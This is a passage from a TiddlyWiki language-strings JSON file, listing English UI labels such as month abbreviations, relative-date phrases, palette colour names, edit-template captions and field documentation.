"title": "$:/language/Date/Short/Month/2",
"text": "Feb"
},
"$:/language/Date/Short/Month/3": {
"title": "$:/language/Date/Short/Month/3",
"text": "Mar"
},
"$:/language/Date/Short/Month/4": {
"title": "$:/language/Date/Short/Month/4",
"text": "Apr"
},
"$:/language/Date/Short/Month/5": {
"title": "$:/language/Date/Short/Month/5",
"text": "May"
},
"$:/language/Date/Short/Month/6": {
"title": "$:/language/Date/Short/Month/6",
"text": "Jun"
},
"$:/language/Date/Short/Month/7": {
"title": "$:/language/Date/Short/Month/7",
"text": "Jul"
},
"$:/language/Date/Short/Month/8": {
"title": "$:/language/Date/Short/Month/8",
"text": "Aug"
},
"$:/language/Date/Short/Month/9": {
"title": "$:/language/Date/Short/Month/9",
"text": "Sep"
},
"$:/language/Date/Short/Month/10": {
"title": "$:/language/Date/Short/Month/10",
"text": "Oct"
},
"$:/language/Date/Short/Month/11": {
"title": "$:/language/Date/Short/Month/11",
"text": "Nov"
},
"$:/language/Date/Short/Month/12": {
"title": "$:/language/Date/Short/Month/12",
"text": "Dec"
},
"$:/language/RelativeDate/Future/Days": {
"title": "$:/language/RelativeDate/Future/Days",
"text": "<<period>> days from now"
},
"$:/language/RelativeDate/Future/Hours": {
"title": "$:/language/RelativeDate/Future/Hours",
"text": "<<period>> hours from now"
},
"$:/language/RelativeDate/Future/Minutes": {
"title": "$:/language/RelativeDate/Future/Minutes",
"text": "<<period>> minutes from now"
},
"$:/language/RelativeDate/Future/Months": {
"title": "$:/language/RelativeDate/Future/Months",
"text": "<<period>> months from now"
},
"$:/language/RelativeDate/Future/Second": {
"title": "$:/language/RelativeDate/Future/Second",
"text": "1 second from now"
},
"$:/language/RelativeDate/Future/Seconds": {
"title": "$:/language/RelativeDate/Future/Seconds",
"text": "<<period>> seconds from now"
},
"$:/language/RelativeDate/Future/Years": {
"title": "$:/language/RelativeDate/Future/Years",
"text": "<<period>> years from now"
},
"$:/language/RelativeDate/Past/Days": {
"title": "$:/language/RelativeDate/Past/Days",
"text": "<<period>> days ago"
},
"$:/language/RelativeDate/Past/Hours": {
"title": "$:/language/RelativeDate/Past/Hours",
"text": "<<period>> hours ago"
},
"$:/language/RelativeDate/Past/Minutes": {
"title": "$:/language/RelativeDate/Past/Minutes",
"text": "<<period>> minutes ago"
},
"$:/language/RelativeDate/Past/Months": {
"title": "$:/language/RelativeDate/Past/Months",
"text": "<<period>> months ago"
},
"$:/language/RelativeDate/Past/Second": {
"title": "$:/language/RelativeDate/Past/Second",
"text": "1 second ago"
},
"$:/language/RelativeDate/Past/Seconds": {
"title": "$:/language/RelativeDate/Past/Seconds",
"text": "<<period>> seconds ago"
},
"$:/language/RelativeDate/Past/Years": {
"title": "$:/language/RelativeDate/Past/Years",
"text": "<<period>> years ago"
},
"$:/language/Docs/ModuleTypes/allfilteroperator": {
"title": "$:/language/Docs/ModuleTypes/allfilteroperator",
"text": "A sub-operator for the ''all'' filter operator."
},
"$:/language/Docs/ModuleTypes/animation": {
"title": "$:/language/Docs/ModuleTypes/animation",
"text": "Animations that may be used with the RevealWidget."
},
"$:/language/Docs/ModuleTypes/authenticator": {
"title": "$:/language/Docs/ModuleTypes/authenticator",
"text": "Defines how requests are authenticated by the built-in HTTP server."
},
"$:/language/Docs/ModuleTypes/bitmapeditoroperation": {
"title": "$:/language/Docs/ModuleTypes/bitmapeditoroperation",
"text": "A bitmap editor toolbar operation."
},
"$:/language/Docs/ModuleTypes/command": {
"title": "$:/language/Docs/ModuleTypes/command",
"text": "Commands that can be executed under Node.js."
},
"$:/language/Docs/ModuleTypes/config": {
"title": "$:/language/Docs/ModuleTypes/config",
"text": "Data to be inserted into `$tw.config`."
},
"$:/language/Docs/ModuleTypes/filteroperator": {
"title": "$:/language/Docs/ModuleTypes/filteroperator",
"text": "Individual filter operator methods."
},
"$:/language/Docs/ModuleTypes/global": {
"title": "$:/language/Docs/ModuleTypes/global",
"text": "Global data to be inserted into `$tw`."
},
"$:/language/Docs/ModuleTypes/info": {
"title": "$:/language/Docs/ModuleTypes/info",
"text": "Publishes system information via the [[$:/temp/info-plugin]] pseudo-plugin."
},
"$:/language/Docs/ModuleTypes/isfilteroperator": {
"title": "$:/language/Docs/ModuleTypes/isfilteroperator",
"text": "Operands for the ''is'' filter operator."
},
"$:/language/Docs/ModuleTypes/library": {
"title": "$:/language/Docs/ModuleTypes/library",
"text": "Generic module type for general purpose JavaScript modules."
},
"$:/language/Docs/ModuleTypes/macro": {
"title": "$:/language/Docs/ModuleTypes/macro",
"text": "JavaScript macro definitions."
},
"$:/language/Docs/ModuleTypes/parser": {
"title": "$:/language/Docs/ModuleTypes/parser",
"text": "Parsers for different content types."
},
"$:/language/Docs/ModuleTypes/route": {
"title": "$:/language/Docs/ModuleTypes/route",
"text": "Defines how individual URL patterns are handled by the built-in HTTP server."
},
"$:/language/Docs/ModuleTypes/saver": {
"title": "$:/language/Docs/ModuleTypes/saver",
"text": "Savers handle different methods for saving files from the browser."
},
"$:/language/Docs/ModuleTypes/startup": {
"title": "$:/language/Docs/ModuleTypes/startup",
"text": "Startup functions."
},
"$:/language/Docs/ModuleTypes/storyview": {
"title": "$:/language/Docs/ModuleTypes/storyview",
"text": "Story views customise the animation and behaviour of list widgets."
},
"$:/language/Docs/ModuleTypes/texteditoroperation": {
"title": "$:/language/Docs/ModuleTypes/texteditoroperation",
"text": "A text editor toolbar operation."
},
"$:/language/Docs/ModuleTypes/tiddlerdeserializer": {
"title": "$:/language/Docs/ModuleTypes/tiddlerdeserializer",
"text": "Converts different content types into tiddlers."
},
"$:/language/Docs/ModuleTypes/tiddlerfield": {
"title": "$:/language/Docs/ModuleTypes/tiddlerfield",
"text": "Defines the behaviour of an individual tiddler field."
},
"$:/language/Docs/ModuleTypes/tiddlermethod": {
"title": "$:/language/Docs/ModuleTypes/tiddlermethod",
"text": "Adds methods to the `$tw.Tiddler` prototype."
},
"$:/language/Docs/ModuleTypes/upgrader": {
"title": "$:/language/Docs/ModuleTypes/upgrader",
"text": "Applies upgrade processing to tiddlers during an upgrade/import."
},
"$:/language/Docs/ModuleTypes/utils": {
"title": "$:/language/Docs/ModuleTypes/utils",
"text": "Adds methods to `$tw.utils`."
},
"$:/language/Docs/ModuleTypes/utils-node": {
"title": "$:/language/Docs/ModuleTypes/utils-node",
"text": "Adds Node.js-specific methods to `$tw.utils`."
},
"$:/language/Docs/ModuleTypes/widget": {
"title": "$:/language/Docs/ModuleTypes/widget",
"text": "Widgets encapsulate DOM rendering and refreshing."
},
"$:/language/Docs/ModuleTypes/wikimethod": {
"title": "$:/language/Docs/ModuleTypes/wikimethod",
"text": "Adds methods to `$tw.Wiki`."
},
"$:/language/Docs/ModuleTypes/wikirule": {
"title": "$:/language/Docs/ModuleTypes/wikirule",
"text": "Individual parser rules for the main WikiText parser."
},
"$:/language/Docs/PaletteColours/alert-background": {
"title": "$:/language/Docs/PaletteColours/alert-background",
"text": "Alert background"
},
"$:/language/Docs/PaletteColours/alert-border": {
"title": "$:/language/Docs/PaletteColours/alert-border",
"text": "Alert border"
},
"$:/language/Docs/PaletteColours/alert-highlight": {
"title": "$:/language/Docs/PaletteColours/alert-highlight",
"text": "Alert highlight"
},
"$:/language/Docs/PaletteColours/alert-muted-foreground": {
"title": "$:/language/Docs/PaletteColours/alert-muted-foreground",
"text": "Alert muted foreground"
},
"$:/language/Docs/PaletteColours/background": {
"title": "$:/language/Docs/PaletteColours/background",
"text": "General background"
},
"$:/language/Docs/PaletteColours/blockquote-bar": {
"title": "$:/language/Docs/PaletteColours/blockquote-bar",
"text": "Blockquote bar"
},
"$:/language/Docs/PaletteColours/button-background": {
"title": "$:/language/Docs/PaletteColours/button-background",
"text": "Default button background"
},
"$:/language/Docs/PaletteColours/button-border": {
"title": "$:/language/Docs/PaletteColours/button-border",
"text": "Default button border"
},
"$:/language/Docs/PaletteColours/button-foreground": {
"title": "$:/language/Docs/PaletteColours/button-foreground",
"text": "Default button foreground"
},
"$:/language/Docs/PaletteColours/dirty-indicator": {
"title": "$:/language/Docs/PaletteColours/dirty-indicator",
"text": "Unsaved changes indicator"
},
"$:/language/Docs/PaletteColours/code-background": {
"title": "$:/language/Docs/PaletteColours/code-background",
"text": "Code background"
},
"$:/language/Docs/PaletteColours/code-border": {
"title": "$:/language/Docs/PaletteColours/code-border",
"text": "Code border"
},
"$:/language/Docs/PaletteColours/code-foreground": {
"title": "$:/language/Docs/PaletteColours/code-foreground",
"text": "Code foreground"
},
"$:/language/Docs/PaletteColours/download-background": {
"title": "$:/language/Docs/PaletteColours/download-background",
"text": "Download button background"
},
"$:/language/Docs/PaletteColours/download-foreground": {
"title": "$:/language/Docs/PaletteColours/download-foreground",
"text": "Download button foreground"
},
"$:/language/Docs/PaletteColours/dragger-background": {
"title": "$:/language/Docs/PaletteColours/dragger-background",
"text": "Dragger background"
},
"$:/language/Docs/PaletteColours/dragger-foreground": {
"title": "$:/language/Docs/PaletteColours/dragger-foreground",
"text": "Dragger foreground"
},
"$:/language/Docs/PaletteColours/dropdown-background": {
"title": "$:/language/Docs/PaletteColours/dropdown-background",
"text": "Dropdown background"
},
"$:/language/Docs/PaletteColours/dropdown-border": {
"title": "$:/language/Docs/PaletteColours/dropdown-border",
"text": "Dropdown border"
},
"$:/language/Docs/PaletteColours/dropdown-tab-background-selected": {
"title": "$:/language/Docs/PaletteColours/dropdown-tab-background-selected",
"text": "Dropdown tab background for selected tabs"
},
"$:/language/Docs/PaletteColours/dropdown-tab-background": {
"title": "$:/language/Docs/PaletteColours/dropdown-tab-background",
"text": "Dropdown tab background"
},
"$:/language/Docs/PaletteColours/dropzone-background": {
"title": "$:/language/Docs/PaletteColours/dropzone-background",
"text": "Dropzone background"
},
"$:/language/Docs/PaletteColours/external-link-background-hover": {
"title": "$:/language/Docs/PaletteColours/external-link-background-hover",
"text": "External link background hover"
},
"$:/language/Docs/PaletteColours/external-link-background-visited": {
"title": "$:/language/Docs/PaletteColours/external-link-background-visited",
"text": "External link background visited"
},
"$:/language/Docs/PaletteColours/external-link-background": {
"title": "$:/language/Docs/PaletteColours/external-link-background",
"text": "External link background"
},
"$:/language/Docs/PaletteColours/external-link-foreground-hover": {
"title": "$:/language/Docs/PaletteColours/external-link-foreground-hover",
"text": "External link foreground hover"
},
"$:/language/Docs/PaletteColours/external-link-foreground-visited": {
"title": "$:/language/Docs/PaletteColours/external-link-foreground-visited",
"text": "External link foreground visited"
},
"$:/language/Docs/PaletteColours/external-link-foreground": {
"title": "$:/language/Docs/PaletteColours/external-link-foreground",
"text": "External link foreground"
},
"$:/language/Docs/PaletteColours/foreground": {
"title": "$:/language/Docs/PaletteColours/foreground",
"text": "General foreground"
},
"$:/language/Docs/PaletteColours/menubar-background": {
"title": "$:/language/Docs/PaletteColours/menubar-background",
"text": "Menu bar background"
},
"$:/language/Docs/PaletteColours/menubar-foreground": {
"title": "$:/language/Docs/PaletteColours/menubar-foreground",
"text": "Menu bar foreground"
},
"$:/language/Docs/PaletteColours/message-background": {
"title": "$:/language/Docs/PaletteColours/message-background",
"text": "Message box background"
},
"$:/language/Docs/PaletteColours/message-border": {
"title": "$:/language/Docs/PaletteColours/message-border",
"text": "Message box border"
},
"$:/language/Docs/PaletteColours/message-foreground": {
"title": "$:/language/Docs/PaletteColours/message-foreground",
"text": "Message box foreground"
},
"$:/language/Docs/PaletteColours/modal-backdrop": {
"title": "$:/language/Docs/PaletteColours/modal-backdrop",
"text": "Modal backdrop"
},
"$:/language/Docs/PaletteColours/modal-background": {
"title": "$:/language/Docs/PaletteColours/modal-background",
"text": "Modal background"
},
"$:/language/Docs/PaletteColours/modal-border": {
"title": "$:/language/Docs/PaletteColours/modal-border",
"text": "Modal border"
},
"$:/language/Docs/PaletteColours/modal-footer-background": {
"title": "$:/language/Docs/PaletteColours/modal-footer-background",
"text": "Modal footer background"
},
"$:/language/Docs/PaletteColours/modal-footer-border": {
"title": "$:/language/Docs/PaletteColours/modal-footer-border",
"text": "Modal footer border"
},
"$:/language/Docs/PaletteColours/modal-header-border": {
"title": "$:/language/Docs/PaletteColours/modal-header-border",
"text": "Modal header border"
},
"$:/language/Docs/PaletteColours/muted-foreground": {
"title": "$:/language/Docs/PaletteColours/muted-foreground",
"text": "General muted foreground"
},
"$:/language/Docs/PaletteColours/notification-background": {
"title": "$:/language/Docs/PaletteColours/notification-background",
"text": "Notification background"
},
"$:/language/Docs/PaletteColours/notification-border": {
"title": "$:/language/Docs/PaletteColours/notification-border",
"text": "Notification border"
},
"$:/language/Docs/PaletteColours/page-background": {
"title": "$:/language/Docs/PaletteColours/page-background",
"text": "Page background"
},
"$:/language/Docs/PaletteColours/pre-background": {
"title": "$:/language/Docs/PaletteColours/pre-background",
"text": "Preformatted code background"
},
"$:/language/Docs/PaletteColours/pre-border": {
"title": "$:/language/Docs/PaletteColours/pre-border",
"text": "Preformatted code border"
},
"$:/language/Docs/PaletteColours/primary": {
"title": "$:/language/Docs/PaletteColours/primary",
"text": "General primary"
},
"$:/language/Docs/PaletteColours/select-tag-background": {
"title": "$:/language/Docs/PaletteColours/select-tag-background",
"text": "`<select>` element background"
},
"$:/language/Docs/PaletteColours/select-tag-foreground": {
"title": "$:/language/Docs/PaletteColours/select-tag-foreground",
"text": "`<select>` element text"
},
"$:/language/Docs/PaletteColours/sidebar-button-foreground": {
"title": "$:/language/Docs/PaletteColours/sidebar-button-foreground",
"text": "Sidebar button foreground"
},
"$:/language/Docs/PaletteColours/sidebar-controls-foreground-hover": {
"title": "$:/language/Docs/PaletteColours/sidebar-controls-foreground-hover",
"text": "Sidebar controls foreground hover"
},
"$:/language/Docs/PaletteColours/sidebar-controls-foreground": {
"title": "$:/language/Docs/PaletteColours/sidebar-controls-foreground",
"text": "Sidebar controls foreground"
},
"$:/language/Docs/PaletteColours/sidebar-foreground-shadow": {
"title": "$:/language/Docs/PaletteColours/sidebar-foreground-shadow",
"text": "Sidebar foreground shadow"
},
"$:/language/Docs/PaletteColours/sidebar-foreground": {
"title": "$:/language/Docs/PaletteColours/sidebar-foreground",
"text": "Sidebar foreground"
},
"$:/language/Docs/PaletteColours/sidebar-muted-foreground-hover": {
"title": "$:/language/Docs/PaletteColours/sidebar-muted-foreground-hover",
"text": "Sidebar muted foreground hover"
},
"$:/language/Docs/PaletteColours/sidebar-muted-foreground": {
"title": "$:/language/Docs/PaletteColours/sidebar-muted-foreground",
"text": "Sidebar muted foreground"
},
"$:/language/Docs/PaletteColours/sidebar-tab-background-selected": {
"title": "$:/language/Docs/PaletteColours/sidebar-tab-background-selected",
"text": "Sidebar tab background for selected tabs"
},
"$:/language/Docs/PaletteColours/sidebar-tab-background": {
"title": "$:/language/Docs/PaletteColours/sidebar-tab-background",
"text": "Sidebar tab background"
},
"$:/language/Docs/PaletteColours/sidebar-tab-border-selected": {
"title": "$:/language/Docs/PaletteColours/sidebar-tab-border-selected",
"text": "Sidebar tab border for selected tabs"
},
"$:/language/Docs/PaletteColours/sidebar-tab-border": {
"title": "$:/language/Docs/PaletteColours/sidebar-tab-border",
"text": "Sidebar tab border"
},
"$:/language/Docs/PaletteColours/sidebar-tab-divider": {
"title": "$:/language/Docs/PaletteColours/sidebar-tab-divider",
"text": "Sidebar tab divider"
},
"$:/language/Docs/PaletteColours/sidebar-tab-foreground-selected": {
"title": "$:/language/Docs/PaletteColours/sidebar-tab-foreground-selected",
"text": "Sidebar tab foreground for selected tabs"
},
"$:/language/Docs/PaletteColours/sidebar-tab-foreground": {
"title": "$:/language/Docs/PaletteColours/sidebar-tab-foreground",
"text": "Sidebar tab foreground"
},
"$:/language/Docs/PaletteColours/sidebar-tiddler-link-foreground-hover": {
"title": "$:/language/Docs/PaletteColours/sidebar-tiddler-link-foreground-hover",
"text": "Sidebar tiddler link foreground hover"
},
"$:/language/Docs/PaletteColours/sidebar-tiddler-link-foreground": {
"title": "$:/language/Docs/PaletteColours/sidebar-tiddler-link-foreground",
"text": "Sidebar tiddler link foreground"
},
"$:/language/Docs/PaletteColours/site-title-foreground": {
"title": "$:/language/Docs/PaletteColours/site-title-foreground",
"text": "Site title foreground"
},
"$:/language/Docs/PaletteColours/static-alert-foreground": {
"title": "$:/language/Docs/PaletteColours/static-alert-foreground",
"text": "Static alert foreground"
},
"$:/language/Docs/PaletteColours/tab-background-selected": {
"title": "$:/language/Docs/PaletteColours/tab-background-selected",
"text": "Tab background for selected tabs"
},
"$:/language/Docs/PaletteColours/tab-background": {
"title": "$:/language/Docs/PaletteColours/tab-background",
"text": "Tab background"
},
"$:/language/Docs/PaletteColours/tab-border-selected": {
"title": "$:/language/Docs/PaletteColours/tab-border-selected",
"text": "Tab border for selected tabs"
},
"$:/language/Docs/PaletteColours/tab-border": {
"title": "$:/language/Docs/PaletteColours/tab-border",
"text": "Tab border"
},
"$:/language/Docs/PaletteColours/tab-divider": {
"title": "$:/language/Docs/PaletteColours/tab-divider",
"text": "Tab divider"
},
"$:/language/Docs/PaletteColours/tab-foreground-selected": {
"title": "$:/language/Docs/PaletteColours/tab-foreground-selected",
"text": "Tab foreground for selected tabs"
},
"$:/language/Docs/PaletteColours/tab-foreground": {
"title": "$:/language/Docs/PaletteColours/tab-foreground",
"text": "Tab foreground"
},
"$:/language/Docs/PaletteColours/table-border": {
"title": "$:/language/Docs/PaletteColours/table-border",
"text": "Table border"
},
"$:/language/Docs/PaletteColours/table-footer-background": {
"title": "$:/language/Docs/PaletteColours/table-footer-background",
"text": "Table footer background"
},
"$:/language/Docs/PaletteColours/table-header-background": {
"title": "$:/language/Docs/PaletteColours/table-header-background",
"text": "Table header background"
},
"$:/language/Docs/PaletteColours/tag-background": {
"title": "$:/language/Docs/PaletteColours/tag-background",
"text": "Tag background"
},
"$:/language/Docs/PaletteColours/tag-foreground": {
"title": "$:/language/Docs/PaletteColours/tag-foreground",
"text": "Tag foreground"
},
"$:/language/Docs/PaletteColours/tiddler-background": {
"title": "$:/language/Docs/PaletteColours/tiddler-background",
"text": "Tiddler background"
},
"$:/language/Docs/PaletteColours/tiddler-border": {
"title": "$:/language/Docs/PaletteColours/tiddler-border",
"text": "Tiddler border"
},
"$:/language/Docs/PaletteColours/tiddler-controls-foreground-hover": {
"title": "$:/language/Docs/PaletteColours/tiddler-controls-foreground-hover",
"text": "Tiddler controls foreground hover"
},
"$:/language/Docs/PaletteColours/tiddler-controls-foreground-selected": {
"title": "$:/language/Docs/PaletteColours/tiddler-controls-foreground-selected",
"text": "Tiddler controls foreground for selected controls"
},
"$:/language/Docs/PaletteColours/tiddler-controls-foreground": {
"title": "$:/language/Docs/PaletteColours/tiddler-controls-foreground",
"text": "Tiddler controls foreground"
},
"$:/language/Docs/PaletteColours/tiddler-editor-background": {
"title": "$:/language/Docs/PaletteColours/tiddler-editor-background",
"text": "Tiddler editor background"
},
"$:/language/Docs/PaletteColours/tiddler-editor-border-image": {
"title": "$:/language/Docs/PaletteColours/tiddler-editor-border-image",
"text": "Tiddler editor border image"
},
"$:/language/Docs/PaletteColours/tiddler-editor-border": {
"title": "$:/language/Docs/PaletteColours/tiddler-editor-border",
"text": "Tiddler editor border"
},
"$:/language/Docs/PaletteColours/tiddler-editor-fields-even": {
"title": "$:/language/Docs/PaletteColours/tiddler-editor-fields-even",
"text": "Tiddler editor background for even fields"
},
"$:/language/Docs/PaletteColours/tiddler-editor-fields-odd": {
"title": "$:/language/Docs/PaletteColours/tiddler-editor-fields-odd",
"text": "Tiddler editor background for odd fields"
},
"$:/language/Docs/PaletteColours/tiddler-info-background": {
"title": "$:/language/Docs/PaletteColours/tiddler-info-background",
"text": "Tiddler info panel background"
},
"$:/language/Docs/PaletteColours/tiddler-info-border": {
"title": "$:/language/Docs/PaletteColours/tiddler-info-border",
"text": "Tiddler info panel border"
},
"$:/language/Docs/PaletteColours/tiddler-info-tab-background": {
"title": "$:/language/Docs/PaletteColours/tiddler-info-tab-background",
"text": "Tiddler info panel tab background"
},
"$:/language/Docs/PaletteColours/tiddler-link-background": {
"title": "$:/language/Docs/PaletteColours/tiddler-link-background",
"text": "Tiddler link background"
},
"$:/language/Docs/PaletteColours/tiddler-link-foreground": {
"title": "$:/language/Docs/PaletteColours/tiddler-link-foreground",
"text": "Tiddler link foreground"
},
"$:/language/Docs/PaletteColours/tiddler-subtitle-foreground": {
"title": "$:/language/Docs/PaletteColours/tiddler-subtitle-foreground",
"text": "Tiddler subtitle foreground"
},
"$:/language/Docs/PaletteColours/tiddler-title-foreground": {
"title": "$:/language/Docs/PaletteColours/tiddler-title-foreground",
"text": "Tiddler title foreground"
},
"$:/language/Docs/PaletteColours/toolbar-new-button": {
"title": "$:/language/Docs/PaletteColours/toolbar-new-button",
"text": "Toolbar 'new tiddler' button foreground"
},
"$:/language/Docs/PaletteColours/toolbar-options-button": {
"title": "$:/language/Docs/PaletteColours/toolbar-options-button",
"text": "Toolbar 'options' button foreground"
},
"$:/language/Docs/PaletteColours/toolbar-save-button": {
"title": "$:/language/Docs/PaletteColours/toolbar-save-button",
"text": "Toolbar 'save' button foreground"
},
"$:/language/Docs/PaletteColours/toolbar-info-button": {
"title": "$:/language/Docs/PaletteColours/toolbar-info-button",
"text": "Toolbar 'info' button foreground"
},
"$:/language/Docs/PaletteColours/toolbar-edit-button": {
"title": "$:/language/Docs/PaletteColours/toolbar-edit-button",
"text": "Toolbar 'edit' button foreground"
},
"$:/language/Docs/PaletteColours/toolbar-close-button": {
"title": "$:/language/Docs/PaletteColours/toolbar-close-button",
"text": "Toolbar 'close' button foreground"
},
"$:/language/Docs/PaletteColours/toolbar-delete-button": {
"title": "$:/language/Docs/PaletteColours/toolbar-delete-button",
"text": "Toolbar 'delete' button foreground"
},
"$:/language/Docs/PaletteColours/toolbar-cancel-button": {
"title": "$:/language/Docs/PaletteColours/toolbar-cancel-button",
"text": "Toolbar 'cancel' button foreground"
},
"$:/language/Docs/PaletteColours/toolbar-done-button": {
"title": "$:/language/Docs/PaletteColours/toolbar-done-button",
"text": "Toolbar 'done' button foreground"
},
"$:/language/Docs/PaletteColours/untagged-background": {
"title": "$:/language/Docs/PaletteColours/untagged-background",
"text": "Untagged pill background"
},
"$:/language/Docs/PaletteColours/very-muted-foreground": {
"title": "$:/language/Docs/PaletteColours/very-muted-foreground",
"text": "Very muted foreground"
},
"$:/language/EditTemplate/Body/External/Hint": {
"title": "$:/language/EditTemplate/Body/External/Hint",
"text": "This tiddler shows content stored outside of the main TiddlyWiki file. You can edit the tags and fields but cannot directly edit the content itself"
},
"$:/language/EditTemplate/Body/Placeholder": {
"title": "$:/language/EditTemplate/Body/Placeholder",
"text": "Type the text for this tiddler"
},
"$:/language/EditTemplate/Body/Preview/Type/Output": {
"title": "$:/language/EditTemplate/Body/Preview/Type/Output",
"text": "output"
},
"$:/language/EditTemplate/Field/Remove/Caption": {
"title": "$:/language/EditTemplate/Field/Remove/Caption",
"text": "remove field"
},
"$:/language/EditTemplate/Field/Remove/Hint": {
"title": "$:/language/EditTemplate/Field/Remove/Hint",
"text": "Remove field"
},
"$:/language/EditTemplate/Field/Dropdown/Caption": {
"title": "$:/language/EditTemplate/Field/Dropdown/Caption",
"text": "field list"
},
"$:/language/EditTemplate/Field/Dropdown/Hint": {
"title": "$:/language/EditTemplate/Field/Dropdown/Hint",
"text": "Show field list"
},
"$:/language/EditTemplate/Fields/Add/Button": {
"title": "$:/language/EditTemplate/Fields/Add/Button",
"text": "add"
},
"$:/language/EditTemplate/Fields/Add/Button/Hint": {
"title": "$:/language/EditTemplate/Fields/Add/Button/Hint",
"text": "Add the new field to the tiddler"
},
"$:/language/EditTemplate/Fields/Add/Name/Placeholder": {
"title": "$:/language/EditTemplate/Fields/Add/Name/Placeholder",
"text": "field name"
},
"$:/language/EditTemplate/Fields/Add/Prompt": {
"title": "$:/language/EditTemplate/Fields/Add/Prompt",
"text": "Add a new field:"
},
"$:/language/EditTemplate/Fields/Add/Value/Placeholder": {
"title": "$:/language/EditTemplate/Fields/Add/Value/Placeholder",
"text": "field value"
},
"$:/language/EditTemplate/Fields/Add/Dropdown/System": {
"title": "$:/language/EditTemplate/Fields/Add/Dropdown/System",
"text": "System fields"
},
"$:/language/EditTemplate/Fields/Add/Dropdown/User": {
"title": "$:/language/EditTemplate/Fields/Add/Dropdown/User",
"text": "User fields"
},
"$:/language/EditTemplate/Shadow/Warning": {
"title": "$:/language/EditTemplate/Shadow/Warning",
"text": "This is a shadow tiddler. Any changes you make will override the default version from the plugin <<pluginLink>>"
},
"$:/language/EditTemplate/Shadow/OverriddenWarning": {
"title": "$:/language/EditTemplate/Shadow/OverriddenWarning",
"text": "This is a modified shadow tiddler. You can revert to the default version in the plugin <<pluginLink>> by deleting this tiddler"
},
"$:/language/EditTemplate/Tags/Add/Button": {
"title": "$:/language/EditTemplate/Tags/Add/Button",
"text": "add"
},
"$:/language/EditTemplate/Tags/Add/Button/Hint": {
"title": "$:/language/EditTemplate/Tags/Add/Button/Hint",
"text": "add tag"
},
"$:/language/EditTemplate/Tags/Add/Placeholder": {
"title": "$:/language/EditTemplate/Tags/Add/Placeholder",
"text": "tag name"
},
"$:/language/EditTemplate/Tags/Dropdown/Caption": {
"title": "$:/language/EditTemplate/Tags/Dropdown/Caption",
"text": "tag list"
},
"$:/language/EditTemplate/Tags/Dropdown/Hint": {
"title": "$:/language/EditTemplate/Tags/Dropdown/Hint",
"text": "Show tag list"
},
"$:/language/EditTemplate/Title/BadCharacterWarning": {
"title": "$:/language/EditTemplate/Title/BadCharacterWarning",
"text": "Warning: avoid using any of the characters <<bad-chars>> in tiddler titles"
},
"$:/language/EditTemplate/Title/Exists/Prompt": {
"title": "$:/language/EditTemplate/Title/Exists/Prompt",
"text": "Target tiddler already exists"
},
"$:/language/EditTemplate/Title/Relink/Prompt": {
"title": "$:/language/EditTemplate/Title/Relink/Prompt",
"text": "Update ''<$text text=<<fromTitle>>/>'' to ''<$text text=<<toTitle>>/>'' in the //tags// and //list// fields of other tiddlers"
},
"$:/language/EditTemplate/Title/References/Prompt": {
"title": "$:/language/EditTemplate/Title/References/Prompt",
"text": "The following references to this tiddler will not be automatically updated:"
},
"$:/language/EditTemplate/Type/Dropdown/Caption": {
"title": "$:/language/EditTemplate/Type/Dropdown/Caption",
"text": "content type list"
},
"$:/language/EditTemplate/Type/Dropdown/Hint": {
"title": "$:/language/EditTemplate/Type/Dropdown/Hint",
"text": "Show content type list"
},
"$:/language/EditTemplate/Type/Delete/Caption": {
"title": "$:/language/EditTemplate/Type/Delete/Caption",
"text": "delete content type"
},
"$:/language/EditTemplate/Type/Delete/Hint": {
"title": "$:/language/EditTemplate/Type/Delete/Hint",
"text": "Delete content type"
},
"$:/language/EditTemplate/Type/Placeholder": {
"title": "$:/language/EditTemplate/Type/Placeholder",
"text": "content type"
},
"$:/language/EditTemplate/Type/Prompt": {
"title": "$:/language/EditTemplate/Type/Prompt",
"text": "Type:"
},
"$:/language/Exporters/StaticRiver": {
"title": "$:/language/Exporters/StaticRiver",
"text": "Static HTML"
},
"$:/language/Exporters/JsonFile": {
"title": "$:/language/Exporters/JsonFile",
"text": "JSON file"
},
"$:/language/Exporters/CsvFile": {
"title": "$:/language/Exporters/CsvFile",
"text": "CSV file"
},
"$:/language/Exporters/TidFile": {
"title": "$:/language/Exporters/TidFile",
"text": "\".tid\" file"
},
"$:/language/Docs/Fields/_canonical_uri": {
"title": "$:/language/Docs/Fields/_canonical_uri",
"text": "The full URI of an external image tiddler"
},
"$:/language/Docs/Fields/bag": {
"title": "$:/language/Docs/Fields/bag",
"text": "The name of the bag from which a tiddler came"
},
"$:/language/Docs/Fields/caption": {
"title": "$:/language/Docs/Fields/caption",
"text": "The text to be displayed on a tab or button"
},
"$:/language/Docs/Fields/color": {
"title": "$:/language/Docs/Fields/color",
"text": "The CSS color value associated with a tiddler"
},
"$:/language/Docs/Fields/component": {
"title": "$:/language/Docs/Fields/component",
"text": "The name of the component responsible for an [[alert tiddler|AlertMechanism]]"
},
"$:/language/Docs/Fields/current-tiddler": {
"title": "$:/language/Docs/Fields/current-tiddler",
"text": "Used to cache the top tiddler in a [[history list|HistoryMechanism]]"
},
"$:/language/Docs/Fields/created": {
"title": "$:/language/Docs/Fields/created",
"text": "The date a tiddler was created"
},
"$:/language/Docs/Fields/creator": {
"title": "$:/language/Docs/Fields/creator",
"text": "The name of the person who created a tiddler"
},
"$:/language/Docs/Fields/dependents": {
"title": "$:/language/Docs/Fields/dependents",
"text": "For a plugin, lists the dependent plugin titles"
},
"$:/language/Docs/Fields/description": {
"title": "$:/language/Docs/Fields/description",
"text": "The descriptive text for a plugin, or a modal dialogue"
},
"$:/language/Docs/Fields/draft.of": {
"title": "$:/language/Docs/Fields/draft.of",
"text": "For draft tiddlers, contains the title of the tiddler of which this is a draft"
},
"$:/language/Docs/Fields/draft.title": {
"title": "$:/language/Docs/Fields/draft.title",
"text": "For draft tiddlers, contains the proposed new title of the tiddler"
},
"$:/language/Docs/Fields/footer": {
"title": "$:/language/Docs/Fields/footer",
"text": "The footer text for a wizard"
},
"$:/language/Docs/Fields/hide-body": {
"title": "$:/language/Docs/Fields/hide-body",
"text": "The view template will hide bodies of tiddlers if set to: ''yes''"
},
"$:/language/Docs/Fields/icon": {
"title": "$:/language/Docs/Fields/icon",
"text": "The title of the tiddler containing the icon associated with a tiddler"
},
"$:/language/Docs/Fields/library": {
"title": "$:/language/Docs/Fields/library",
"text": "Indicates that a tiddler should be saved as a JavaScript library if set to: ''yes''"
},
"$:/language/Docs/Fields/list": {
"title": "$:/language/Docs/Fields/list",
"text": "An ordered list of tiddler titles associated with a tiddler"
},
"$:/language/Docs/Fields/list-before": {
"title": "$:/language/Docs/Fields/list-before",
